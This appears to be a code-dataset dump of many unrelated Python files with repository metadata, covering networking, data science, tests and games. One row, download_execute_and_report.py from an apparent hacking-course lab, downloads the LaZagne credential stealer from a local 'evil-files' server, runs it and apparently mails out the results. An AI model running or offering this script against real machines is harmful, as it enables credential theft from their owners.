#!/usr/bin/env python # # Copyright (C) 2016 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless req...
0
0
0
0
0
1,047
0
-23
112
6f1c9b4d431dc363eb9283b6ae2aebfbf758a740
7,630
py
Python
src/container/mesos-manager/mesos_manager/mesos_server.py
kaweue/contrail-controller
66a8f1d13e2c28ddae6b5a5be6f068a03bea94e3
[ "Apache-2.0" ]
null
null
null
src/container/mesos-manager/mesos_manager/mesos_server.py
kaweue/contrail-controller
66a8f1d13e2c28ddae6b5a5be6f068a03bea94e3
[ "Apache-2.0" ]
2
2018-12-04T02:20:52.000Z
2018-12-22T06:16:30.000Z
src/container/mesos-manager/mesos_manager/mesos_server.py
kaweue/contrail-controller
66a8f1d13e2c28ddae6b5a5be6f068a03bea94e3
[ "Apache-2.0" ]
1
2018-12-04T02:07:47.000Z
2018-12-04T02:07:47.000Z
# # Copyright (c) 2017 Juniper Networks, Inc. All rights reserved. # """ MESOS CNI Server """ # Standard library import # Application library import # end class MesosServer
31.791667
77
0.571822
# # Copyright (c) 2017 Juniper Networks, Inc. All rights reserved. # """ MESOS CNI Server """ # Standard library import import bottle import json # Application library import from cfgm_common.rest import LinkObject from mesos_cni import MESOSCniDataObject from vnc_api.vnc_api import * class MesosServer(object): ...
0
0
0
7,292
0
0
0
27
133
65df4ffaf14f6c66395fac92292945224f63c74a
692
py
Python
xxcmd/__init__.py
grking/xxcmd
287811a68d0bed0939ea888b555cacd1ac8b5a0e
[ "MIT" ]
null
null
null
xxcmd/__init__.py
grking/xxcmd
287811a68d0bed0939ea888b555cacd1ac8b5a0e
[ "MIT" ]
null
null
null
xxcmd/__init__.py
grking/xxcmd
287811a68d0bed0939ea888b555cacd1ac8b5a0e
[ "MIT" ]
null
null
null
"""A helper for remembering useful shell commands.""" import os from subprocess import check_output, CalledProcessError from .cmdmanager import CmdManager from .dbitem import DBItem from .main import main, __version__ # Inspect git version if we're in a git repo __dev_version__ = '' thisdir = os.path.dirname(os.path....
30.086957
76
0.693642
"""A helper for remembering useful shell commands.""" import os from subprocess import check_output, CalledProcessError from .cmdmanager import CmdManager from .dbitem import DBItem from .main import main, __version__ # Inspect git version if we're in a git repo __dev_version__ = '' thisdir = os.path.dirname(os.path....
0
0
0
0
0
0
0
0
0
b66678ab1523a086ac82bb97729e6d8676e6b8e3
1,001
py
Python
src/reader.py
isspek/veracity-detection
9368309722bead209e49e52c206758e3d173092a
[ "MIT" ]
null
null
null
src/reader.py
isspek/veracity-detection
9368309722bead209e49e52c206758e3d173092a
[ "MIT" ]
null
null
null
src/reader.py
isspek/veracity-detection
9368309722bead209e49e52c206758e3d173092a
[ "MIT" ]
null
null
null
from RumourEval2019Models.CLEARumor.src.dataset import get_conversations_from_archive from src.feature_extractor import FeatureExtractor from itertools import chain from RumourEval2019Models.CLEARumor.src.dataset import load_sdcq_instances, load_verif_instances if __name__ == '__main__': feature_extractor = Featur...
41.708333
85
0.796204
from RumourEval2019Models.CLEARumor.src.dataset import get_conversations_from_archive from src.feature_extractor import FeatureExtractor from itertools import chain from RumourEval2019Models.CLEARumor.src.dataset import load_posts, \ load_sdcq_instances, load_verif_instances if __name__ == '__main__': feature_...
0
0
0
0
0
0
0
18
0
b22920198d05b2e34ab0bb5c06ea08bd4fe3c4ee
9,446
py
Python
src/aemetapi.py
Stephixus/my-weather-indicator
1e1f1984e08ba8d710d1af420c2e68aa9011dcb0
[ "MIT" ]
72
2016-02-12T18:18:50.000Z
2022-02-11T12:37:53.000Z
src/aemetapi.py
Stephixus/my-weather-indicator
1e1f1984e08ba8d710d1af420c2e68aa9011dcb0
[ "MIT" ]
82
2016-03-28T13:26:02.000Z
2022-02-28T13:40:22.000Z
src/aemetapi.py
Stephixus/my-weather-indicator
1e1f1984e08ba8d710d1af420c2e68aa9011dcb0
[ "MIT" ]
21
2016-02-18T05:31:26.000Z
2022-03-03T03:15:31.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # This file is part of my-weather-indicator # # Copyright (c) 2012 Lorenzo Carbonell Cerezo <a.k.a. atareao> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal #...
32.912892
79
0.62545
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # This file is part of my-weather-indicator # # Copyright (c) 2012 Lorenzo Carbonell Cerezo <a.k.a. atareao> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal #...
4
0
0
4,952
0
463
0
2
135
fbe540cb4bbfeaed4e24bd8aa818d59d6a53e672
3,835
py
Python
pyblinx/chunklist.py
skochanski/blinx_rev
f00983ac1d95fd41dd6c6a3679cab4c7021eef73
[ "MIT" ]
5
2018-09-23T22:30:09.000Z
2021-08-07T15:49:03.000Z
pyblinx/chunklist.py
bakerdonkey/blinx_rev
f00983ac1d95fd41dd6c6a3679cab4c7021eef73
[ "MIT" ]
null
null
null
pyblinx/chunklist.py
bakerdonkey/blinx_rev
f00983ac1d95fd41dd6c6a3679cab4c7021eef73
[ "MIT" ]
null
null
null
# DEPRICATED
30.436508
114
0.545763
# DEPRICATED from struct import unpack from node import Node from chunk import Chunk from texlist import Texlist from address import section_addresses from address import rawaddress from address import virtaddress from helpers import verify_file_arg_b from helpers import verify_file_arg_o class Chunklist ...
0
0
0
3,509
0
0
0
79
234
c78cbf99aefa1c81924814bbdd8f215158cedf92
641
py
Python
helpers/templates.py
mtambos/brainstormcracy
091017b5e545a073eaa32d3d5492a0f1894d287c
[ "MIT" ]
null
null
null
helpers/templates.py
mtambos/brainstormcracy
091017b5e545a073eaa32d3d5492a0f1894d287c
[ "MIT" ]
null
null
null
helpers/templates.py
mtambos/brainstormcracy
091017b5e545a073eaa32d3d5492a0f1894d287c
[ "MIT" ]
null
null
null
import sys sys.path.insert(0, 'mako.zip') sys.path.insert(0, 'cherrypy.zip') import re first_cap_re = re.compile('(.)([A-Z][a-z]+)') all_cap_re = re.compile('([a-z0-9])([A-Z])')
24.653846
65
0.714509
import sys sys.path.insert(0, 'mako.zip') sys.path.insert(0, 'cherrypy.zip') import re from cherrypy import tools from mako.template import Template from mako.lookup import TemplateLookup first_cap_re = re.compile('(.)([A-Z][a-z]+)') all_cap_re = re.compile('([a-z0-9])([A-Z])') def convert(name): s1 = first_...
0
0
0
0
0
308
0
35
113
207c48a447ca25769c16d6a5423ecd04b34e8d98
2,878
py
Python
server/app.py
kszu/UniGAN
a0890434b5cdcb7faee022bb4f6dd4577a470774
[ "MIT" ]
1
2020-03-22T16:38:55.000Z
2020-03-22T16:38:55.000Z
server/app.py
kszu/UniGAN
a0890434b5cdcb7faee022bb4f6dd4577a470774
[ "MIT" ]
null
null
null
server/app.py
kszu/UniGAN
a0890434b5cdcb7faee022bb4f6dd4577a470774
[ "MIT" ]
null
null
null
from flask import Flask from flask_cors import CORS import pickle # import matplotlib.pyplot as plt # configuration DEBUG = True # load model logreg_model = pickle.load(open("model_.pkl", "rb")) # instatiate app app = Flask(__name__) app.config.from_object(__name__) UPLOAD_FOLDER = "static/uploads" app.config["UPL...
28.215686
89
0.665393
from flask import Flask, jsonify, request, render_template, flash, redirect, url_for from flask_cors import CORS import pandas as pd import pickle import numpy as np from PIL import Image import os from werkzeug.utils import secure_filename from skimage import io, transform # import matplotlib.pyplot as plt # configu...
0
1,870
0
0
0
0
0
77
200
e0b6f48850ff0d62c37e3a882955812cf33f4937
1,275
py
Python
setup.py
phoeagon/monkeypatching-python
915c88aa218b2e4c799628284b7e128c7242cbd1
[ "Apache-2.0" ]
null
null
null
setup.py
phoeagon/monkeypatching-python
915c88aa218b2e4c799628284b7e128c7242cbd1
[ "Apache-2.0" ]
null
null
null
setup.py
phoeagon/monkeypatching-python
915c88aa218b2e4c799628284b7e128c7242cbd1
[ "Apache-2.0" ]
null
null
null
from setuptools import setup import sys extra = {} if sys.version_info >= (3,): extra['use_2to3'] = True setup( name="mr-monkeypatch", version="0.0.3", license='http://www.apache.org/licenses/LICENSE-2.0', description="A monkey patching library for python", author='phoeagon', author_email=...
34.459459
80
0.64
from setuptools import setup import sys extra = {} if sys.version_info >= (3,): extra['use_2to3'] = True setup( name="mr-monkeypatch", version="0.0.3", license='http://www.apache.org/licenses/LICENSE-2.0', description="A monkey patching library for python", author='phoeagon', author_email=...
0
0
0
0
0
0
0
0
0
0d9b258d67dca7e4482728d17c1f10de787748ed
3,380
py
Python
networking_odl/tests/unit/ml2/test_legacy_port_binding.py
pshchelo/networking-odl
a413efcbf389f2e9c71538365cad522ada219806
[ "Apache-2.0" ]
72
2015-06-23T08:06:17.000Z
2021-11-22T15:39:05.000Z
networking_odl/tests/unit/ml2/test_legacy_port_binding.py
pshchelo/networking-odl
a413efcbf389f2e9c71538365cad522ada219806
[ "Apache-2.0" ]
2
2016-04-02T02:19:46.000Z
2016-06-14T13:25:36.000Z
networking_odl/tests/unit/ml2/test_legacy_port_binding.py
pshchelo/networking-odl
a413efcbf389f2e9c71538365cad522ada219806
[ "Apache-2.0" ]
64
2015-06-26T19:05:30.000Z
2021-06-20T06:30:36.000Z
# Copyright (c) 2016 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
37.555556
78
0.696746
# Copyright (c) 2016 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
0
0
0
2,403
0
0
0
157
180
34a1d5b0d35c7551c3640faf9df395c6103786c4
2,470
py
Python
scripts/slave/recipe_modules/tar/resources/untar.py
bopopescu/chromium-build
f8e42c70146c1b668421ee6358dc550a955770a3
[ "BSD-3-Clause" ]
null
null
null
scripts/slave/recipe_modules/tar/resources/untar.py
bopopescu/chromium-build
f8e42c70146c1b668421ee6358dc550a955770a3
[ "BSD-3-Clause" ]
null
null
null
scripts/slave/recipe_modules/tar/resources/untar.py
bopopescu/chromium-build
f8e42c70146c1b668421ee6358dc550a955770a3
[ "BSD-3-Clause" ]
1
2020-07-22T09:16:32.000Z
2020-07-22T09:16:32.000Z
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Standalone Python script to untar an archive. Intended to be used by 'tar' recipe module internally. Should not be used elsewhere. """ import json import...
26.276596
77
0.688664
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Standalone Python script to untar an archive. Intended to be used by 'tar' recipe module internally. Should not be used elsewhere. """ import json import...
0
0
0
0
0
1,015
0
0
23
f83b38bfcbdfbc9a0a842505a6588e0897d26e80
5,879
py
Python
part11/SpaceSciencePython_part11.py
ajpmaclean/SpaceScienceTutorial
ceddc5b3c3aa035ddc6c12b987a95c06b02ffe41
[ "MIT" ]
167
2020-04-21T21:04:14.000Z
2022-03-29T15:07:52.000Z
part11/SpaceSciencePython_part11.py
ajpmaclean/SpaceScienceTutorial
ceddc5b3c3aa035ddc6c12b987a95c06b02ffe41
[ "MIT" ]
11
2020-05-19T18:49:24.000Z
2021-06-08T01:51:29.000Z
part11/SpaceSciencePython_part11.py
ajpmaclean/SpaceScienceTutorial
ceddc5b3c3aa035ddc6c12b987a95c06b02ffe41
[ "MIT" ]
41
2020-05-03T06:13:17.000Z
2022-02-12T17:32:51.000Z
# Import the standard modules import sqlite3 # Import installed modules from matplotlib import pyplot as plt import pandas as pd import numpy as np #%% # Connect to the comet database. This database has been created in tutorial # part 7, however, due to its small size the database is uploaded on GitHub con = sqlite3...
30.304124
79
0.722572
# Import the standard modules import sqlite3 # Import installed modules from matplotlib import pyplot as plt import pandas as pd import numpy as np #%% # Connect to the comet database. This database has been created in tutorial # part 7, however, due to its small size the database is uploaded on GitHub con = sqlite3...
0
0
0
0
0
0
0
0
0
60de2684d578223fb47375cc23f8f43fc40e5595
2,863
py
Python
python/setup.py
Panlichen/oneflow
ad93c69c9932e5515aa31fb7f157073708810a3d
[ "Apache-2.0" ]
null
null
null
python/setup.py
Panlichen/oneflow
ad93c69c9932e5515aa31fb7f157073708810a3d
[ "Apache-2.0" ]
null
null
null
python/setup.py
Panlichen/oneflow
ad93c69c9932e5515aa31fb7f157073708810a3d
[ "Apache-2.0" ]
1
2021-12-15T02:14:49.000Z
2021-12-15T02:14:49.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
28.068627
81
0.729305
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
0
0
0
294
0
436
0
44
135
30ccb68c17b3f80ca0389007a6f9c4fc7e098791
4,972
py
Python
chat_unifier/parsers/pidgin/parser.py
mtlynch/chat_unifier
7449ca4f2dd48d8b76fc29e150643076dd0b3334
[ "MIT" ]
2
2018-10-16T18:39:06.000Z
2019-01-22T01:38:09.000Z
chat_unifier/parsers/pidgin/parser.py
mtlynch/chat_unifier
7449ca4f2dd48d8b76fc29e150643076dd0b3334
[ "MIT" ]
2
2018-10-19T00:00:21.000Z
2018-10-19T17:15:25.000Z
chat_unifier/parsers/pidgin/parser.py
mtlynch/chat_unifier
7449ca4f2dd48d8b76fc29e150643076dd0b3334
[ "MIT" ]
null
null
null
from __future__ import absolute_import import re _TITLE_PATTERN = re.compile( r'^Conversation with (?P<remote_username>.+) at (?P<start_date>\d{1,2}/\d{1,2}/\d{4}) (?P<start_time>\d{1,2}:\d{1,2}:\d{1,2}) (?P<am_pm>[AP]M) on (?P<local_username>.+) \((?P<medium>.+)\)$' )
33.369128
193
0.658286
from __future__ import absolute_import import datetime import re from chat_unifier import models from chat_unifier.parsers.pidgin import html_reader _TITLE_PATTERN = re.compile( r'^Conversation with (?P<remote_username>.+) at (?P<start_date>\d{1,2}/\d{1,2}/\d{4}) (?P<start_time>\d{1,2}:\d{1,2}:\d{1,2}) (?P<am_pm...
0
0
0
3,460
0
895
0
34
298
2a5841bf2943b0b88efa5632249bfdac85c95225
3,176
py
Python
_setuplibev.py
hackaugusto/gevent
ab5272c5b6fade84ea001f579748898a6d56d5ba
[ "MIT" ]
null
null
null
_setuplibev.py
hackaugusto/gevent
ab5272c5b6fade84ea001f579748898a6d56d5ba
[ "MIT" ]
null
null
null
_setuplibev.py
hackaugusto/gevent
ab5272c5b6fade84ea001f579748898a6d56d5ba
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ setup helpers for libev. """ from __future__ import print_function, absolute_import, division import sys import os.path from _setuputils import Extension from _setuputils import quoted_dep_abspath from _setuputils import WIN from _setuputils import LIBRARIES from _setuputils import DEFINE...
33.431579
100
0.607053
# -*- coding: utf-8 -*- """ setup helpers for libev. """ from __future__ import print_function, absolute_import, division import sys import os.path from _setuputils import Extension from _setuputils import system from _setuputils import quoted_dep_abspath from _setuputils import WIN from _setuputils import make_uni...
0
0
0
0
0
534
0
33
68
41379623066aea0edd7f4d8d206ae17af94906b0
7,365
py
Python
src/python_pybind11/test/Pose3_TEST.py
srmainwaring/ign-math
ff55578b52b9c42daaea666c3c1205551b07afbb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/python_pybind11/test/Pose3_TEST.py
srmainwaring/ign-math
ff55578b52b9c42daaea666c3c1205551b07afbb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
src/python_pybind11/test/Pose3_TEST.py
srmainwaring/ign-math
ff55578b52b9c42daaea666c3c1205551b07afbb
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# Copyright (C) 2021 Open Source Robotics Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
40.245902
78
0.567821
# Copyright (C) 2021 Open Source Robotics Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
0
0
0
6,556
0
0
0
30
112
a9ed458bb2b4697049e813d131ec7a8edae28744
1,631
py
Python
test/end_2_end/test_tracker_payload.py
danieldemedziuk/tracardi-api
27a82a11f8a2ed11156979f8c8c4cfd700fd3dc4
[ "MIT" ]
null
null
null
test/end_2_end/test_tracker_payload.py
danieldemedziuk/tracardi-api
27a82a11f8a2ed11156979f8c8c4cfd700fd3dc4
[ "MIT" ]
null
null
null
test/end_2_end/test_tracker_payload.py
danieldemedziuk/tracardi-api
27a82a11f8a2ed11156979f8c8c4cfd700fd3dc4
[ "MIT" ]
null
null
null
from ..utils import Endpoint endpoint = Endpoint()
31.365385
97
0.581239
from uuid import uuid4 from ..api.test_event_source import create_event_source from ..utils import Endpoint endpoint = Endpoint() def test_track_payload(): source_id = str(uuid4()) session_id = str(uuid4()) try: response = create_event_source(source_id, "javascript") assert response.sta...
0
0
0
0
0
1,476
0
35
67
c5ab9fc8bef81a027a25fc960a1fd1dd3c97243f
5,780
py
Python
hocontact/hodatasets/hoquery.py
lixiny/CPF
69129a3a2ec76347752241850da5ced09d795b1d
[ "MIT" ]
80
2020-12-01T05:19:21.000Z
2022-03-30T05:22:02.000Z
hocontact/hodatasets/hoquery.py
lixiny/CPF
69129a3a2ec76347752241850da5ced09d795b1d
[ "MIT" ]
7
2020-12-04T11:22:26.000Z
2022-01-06T08:29:15.000Z
hocontact/hodatasets/hoquery.py
lixiny/CPF
69129a3a2ec76347752241850da5ced09d795b1d
[ "MIT" ]
10
2021-01-18T13:20:52.000Z
2022-03-31T07:19:04.000Z
# NOTE: This queries are meant to supervise the PICR netwrok during training. # NOTE: We currently remove all the training codes from the released CPF. # NOTE: Thus ContactQueries and all the methods that are related to it, are not avaliable.
41.582734
107
0.713841
from enum import Enum, auto class BaseQueries(Enum): CAM_INTR = auto() # camera intrinsic for raw image OBJ_FACES = auto() OBJ_CORNERS_2D = auto() OBJ_CORNERS_3D = auto() OBJ_VERTS_3D = auto() # object verts after extr transform (raw) OBJ_VERTS_2D = auto() # object verts on raw image (raw) ...
0
0
0
3,076
0
2,241
0
6
205
b6168dc5db0f2abf600fece43f2406ab52e201de
10,825
py
Python
Player.py
emanchez/PROJECT_GEIMU
37bb11076eee46ede98c6ecc9471ba70966eaea6
[ "MIT" ]
null
null
null
Player.py
emanchez/PROJECT_GEIMU
37bb11076eee46ede98c6ecc9471ba70966eaea6
[ "MIT" ]
null
null
null
Player.py
emanchez/PROJECT_GEIMU
37bb11076eee46ede98c6ecc9471ba70966eaea6
[ "MIT" ]
null
null
null
X = 0 Y = 1 groundPos = 450 # global temporary variable (useless once collision is implemented) ; might use this for a global death barrier (below screen)
50.348837
183
0.615797
import pygame from pygame.locals import * from enum import Enum X = 0 Y = 1 groundPos = 450 # global temporary variable (useless once collision is implemented) ; might use this for a global death barrier (below screen) def cap(maxVal, eq): # caps a value to prevent an equation from breaking said cap ; global ...
0
0
0
10,401
0
147
0
-2
119
940d84f2bfb8cde64073c8aa2084ee174a573754
872
py
Python
lowpass.py
KasparSnashall/FIRfilter
88455e5758ff16c3d859604745b66fc42c7c00e2
[ "MIT" ]
null
null
null
lowpass.py
KasparSnashall/FIRfilter
88455e5758ff16c3d859604745b66fc42c7c00e2
[ "MIT" ]
null
null
null
lowpass.py
KasparSnashall/FIRfilter
88455e5758ff16c3d859604745b66fc42c7c00e2
[ "MIT" ]
null
null
null
import scipy.signal as signal numtaps = 201 # number of coeffs #cut off is the normalised cut off in terms of nqy # window is the function # options = boxcar, triang, blackman, hamming, hann, bartlett, flattop, parzen, bohman, blackmanharris, nuttall, barthann, kaiser (needs beta), gaussian (needs standard deviatio...
27.25
333
0.699541
from pylab import * import scipy.signal as signal numtaps = 201 # number of coeffs #cut off is the normalised cut off in terms of nqy # window is the function # options = boxcar, triang, blackman, hamming, hann, bartlett, flattop, parzen, bohman, blackmanharris, nuttall, barthann, kaiser (needs beta), gaussian (nee...
0
0
0
0
0
232
0
-2
45
91aaf8ec1bda842d17907fd690e22fa6d2b263d5
1,329
py
Python
src/2-add-two-numbers.py
sahilrider/LeetCode-Solutions
9cac844c27b5dbf37a70c2981a09cd92457f7ff1
[ "MIT" ]
2
2020-03-06T11:44:25.000Z
2020-03-13T20:07:48.000Z
src/2-add-two-numbers.py
sahilrider/LeetCode-Solutions
9cac844c27b5dbf37a70c2981a09cd92457f7ff1
[ "MIT" ]
null
null
null
src/2-add-two-numbers.py
sahilrider/LeetCode-Solutions
9cac844c27b5dbf37a70c2981a09cd92457f7ff1
[ "MIT" ]
null
null
null
'''https://leetcode.com/problems/add-two-numbers/''' # Definition for singly-linked list.
26.058824
68
0.401053
'''https://leetcode.com/problems/add-two-numbers/''' # Definition for singly-linked list. class ListNode: def __init__(self, x): self.val = x self.next = None class Solution: def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode: res = ListNode(0) temp = res c...
0
0
0
1,185
0
0
0
0
45
86bfb4af894452b2fb1cbdd5a02e48a2f9ece89c
6,560
py
Python
networkx/algorithms/bipartite/tests/test_edgelist.py
FrancescoBonacina/networkx
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
[ "BSD-3-Clause" ]
10
2020-04-29T10:38:03.000Z
2022-03-16T03:30:28.000Z
networkx/algorithms/bipartite/tests/test_edgelist.py
FrancescoBonacina/networkx
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
[ "BSD-3-Clause" ]
2
2019-11-13T03:48:53.000Z
2021-02-15T16:52:09.000Z
networkx/algorithms/bipartite/tests/test_edgelist.py
FrancescoBonacina/networkx
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
[ "BSD-3-Clause" ]
2
2020-02-13T10:33:34.000Z
2020-08-09T07:59:26.000Z
""" Unit tests for bipartite edgelists. """
33.989637
87
0.575915
""" Unit tests for bipartite edgelists. """ import pytest import io import tempfile import os import networkx as nx from networkx.testing import (assert_edges_equal, assert_nodes_equal, assert_graphs_equal) from networkx.algorithms import bipartite class TestEdgelist: @classmet...
0
535
0
5,717
0
0
0
81
178
0c99261c8332d89e97725cced4a3a0c250559763
3,359
py
Python
spark_helpers/spark_helpers.py
elehcimd/spark_cluster
c1aec034bcb0e5ac7b3d7782548148b845f47e03
[ "MIT" ]
4
2019-03-17T08:21:13.000Z
2020-07-23T21:19:19.000Z
spark_helpers/spark_helpers.py
minodes/spark_cluster
c1aec034bcb0e5ac7b3d7782548148b845f47e03
[ "MIT" ]
null
null
null
spark_helpers/spark_helpers.py
minodes/spark_cluster
c1aec034bcb0e5ac7b3d7782548148b845f47e03
[ "MIT" ]
null
null
null
# Imports import os import shutil import tempfile from IPython.display import display from copy import copy from pyspark import SparkContext from pyspark.sql import SQLContext from .spark_config import path_pkg from .spark_config import spark_conf, spark_master, spark_sys_properties def show(r, n=3): """ D...
26.65873
105
0.685621
# Imports import os import shutil import tempfile from IPython.display import display from copy import copy from pyspark import SparkContext from pyspark.sql import SQLContext from pyspark.sql.functions import * from pyspark.sql.types import * from .spark_config import app_name, path_pkg from .spark_config import spa...
0
313
0
325
0
0
0
34
90
acafb9fe720b609b5d26261192031f5995ed5351
17,230
py
Python
pysv/utils.py
iwob/pysv
6fdfb93d66cce84cceacabd3806f3f51f0cbbe17
[ "MIT" ]
2
2017-06-21T04:00:11.000Z
2018-06-11T17:28:55.000Z
pysv/utils.py
iwob/pysv
6fdfb93d66cce84cceacabd3806f3f51f0cbbe17
[ "MIT" ]
null
null
null
pysv/utils.py
iwob/pysv
6fdfb93d66cce84cceacabd3806f3f51f0cbbe17
[ "MIT" ]
1
2018-06-11T17:28:56.000Z
2018-06-11T17:28:56.000Z
import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def index_of_closing_parenthesis(words, start, left_enc ='(', right_enc =')'): """Returns index of the closing parenthesis of the parenthesis indicated by start.""" num_opened = 1 for i in range(start + 1, len(wor...
52.530488
453
0.628381
import logging import sys import argparse logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def index_of_closing_parenthesis(words, start, left_enc ='(', right_enc =')'): """Returns index of the closing parenthesis of the parenthesis indicated by start.""" num_opened = 1 for i ...
0
0
0
12,359
0
0
0
-17
67
512a95f131970b82ef2f5920f270971d63c91d1b
2,093
py
Python
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2018-03-20T11:19:07.000Z
2021-10-05T07:53:11.000Z
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
802
2018-02-05T14:16:13.000Z
2022-02-10T10:59:21.000Z
great_international/migrations/0055_auto_20190724_1306.py
uktrade/directory-cms
8c8d13ce29ea74ddce7a40f3dd29c8847145d549
[ "MIT" ]
6
2019-01-22T13:19:37.000Z
2019-07-01T10:35:26.000Z
# Generated by Django 2.2.2 on 2019-07-24 13:06
35.474576
74
0.614907
# Generated by Django 2.2.2 on 2019-07-24 13:06 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('great_international', '0054_auto_20190724_1205'), ] operations = [ migrations.AddField( model_name='capitalinvestregionpage', ...
0
0
0
1,979
0
0
0
19
46
7e6b8e70abf90208a8874be8fcf572705bd880ee
914
py
Python
12-download_execute_and_report/download_execute_and_report.py
robjpar/ehp
ebd58ab081e2397a7e8c5ef87430cec9b401626e
[ "MIT" ]
null
null
null
12-download_execute_and_report/download_execute_and_report.py
robjpar/ehp
ebd58ab081e2397a7e8c5ef87430cec9b401626e
[ "MIT" ]
null
null
null
12-download_execute_and_report/download_execute_and_report.py
robjpar/ehp
ebd58ab081e2397a7e8c5ef87430cec9b401626e
[ "MIT" ]
null
null
null
# cp download_execute_and_report.py /var/www/html/evil-files # service apache2 start # http://10.0.2.13/evil-files/ import subprocess import os import tempfile temp_directory = tempfile.gettempdir() os.chdir(temp_directory) download('http://10.0.2.13/evil-files/lazagne.exe') result = subprocess.check_output('lazagn...
26.882353
76
0.729759
# cp download_execute_and_report.py /var/www/html/evil-files # service apache2 start # http://10.0.2.13/evil-files/ import requests import subprocess import smtplib import re import os import tempfile def download(url): response = requests.get(url) file_name = url.split('/')[-1] with open(file_name, 'wb'...
0
0
0
0
0
380
0
-25
113
7a1c6a5076b38cd550a867843e37f4405a2e9887
3,695
py
Python
tests/test_shapes.py
cjer/gtfstk
7e1573a2fae786f4683cefc3c9d1f0310baa5367
[ "MIT" ]
null
null
null
tests/test_shapes.py
cjer/gtfstk
7e1573a2fae786f4683cefc3c9d1f0310baa5367
[ "MIT" ]
null
null
null
tests/test_shapes.py
cjer/gtfstk
7e1573a2fae786f4683cefc3c9d1f0310baa5367
[ "MIT" ]
null
null
null
from .context import HAS_GEOPANDAS if HAS_GEOPANDAS:
39.731183
84
0.705277
import pytest from pandas.util.testing import assert_frame_equal from .context import gtfstk, slow, HAS_GEOPANDAS, DATA_DIR, cairns, cairns_shapeless from gtfstk import * if HAS_GEOPANDAS: from geopandas import GeoDataFrame def test_build_geometry_by_shape(): feed = cairns.copy() shape_ids = feed.shape...
0
1,584
0
0
0
1,742
0
83
231
9ba90e0d6af561bd028b5dbfdcacfd9b2dbbd0d9
2,314
py
Python
tests/entries/test_entry_set.py
GENESIS-EFRC/reaction-network
1482ac1b6b550a5bc9961e9210e33c86c07f64cf
[ "BSD-3-Clause-LBNL" ]
29
2020-08-04T07:07:04.000Z
2022-02-22T22:09:20.000Z
tests/entries/test_entry_set.py
GENESIS-EFRC/reaction-network
1482ac1b6b550a5bc9961e9210e33c86c07f64cf
[ "BSD-3-Clause-LBNL" ]
70
2021-02-22T07:01:40.000Z
2022-03-31T20:11:56.000Z
tests/entries/test_entry_set.py
GENESIS-EFRC/reaction-network
1482ac1b6b550a5bc9961e9210e33c86c07f64cf
[ "BSD-3-Clause-LBNL" ]
3
2021-04-20T09:29:39.000Z
2022-02-02T17:43:52.000Z
""" Tests for GibbsEntrySet. """
25.152174
83
0.524201
""" Tests for GibbsEntrySet. """ import pytest from pymatgen.analysis.phase_diagram import PhaseDiagram from rxn_network.entries.entry_set import GibbsEntrySet @pytest.mark.parametrize( "e_above_hull, expected_phases", [ ( 0.030, { "Mn", "Mn2O3"...
0
1,172
0
0
0
861
0
61
182
f257be8065138bc9e4fe7e7d54e3b0b4d32ac5cd
2,814
py
Python
elastic_demos/tensorflow_v2_cifar_resnet.py
AlanFokCo/compensation-tools
e3fbf2f583ff370d32ffa0e2b6a0c57c20ca9eb0
[ "Apache-2.0" ]
null
null
null
elastic_demos/tensorflow_v2_cifar_resnet.py
AlanFokCo/compensation-tools
e3fbf2f583ff370d32ffa0e2b6a0c57c20ca9eb0
[ "Apache-2.0" ]
null
null
null
elastic_demos/tensorflow_v2_cifar_resnet.py
AlanFokCo/compensation-tools
e3fbf2f583ff370d32ffa0e2b6a0c57c20ca9eb0
[ "Apache-2.0" ]
null
null
null
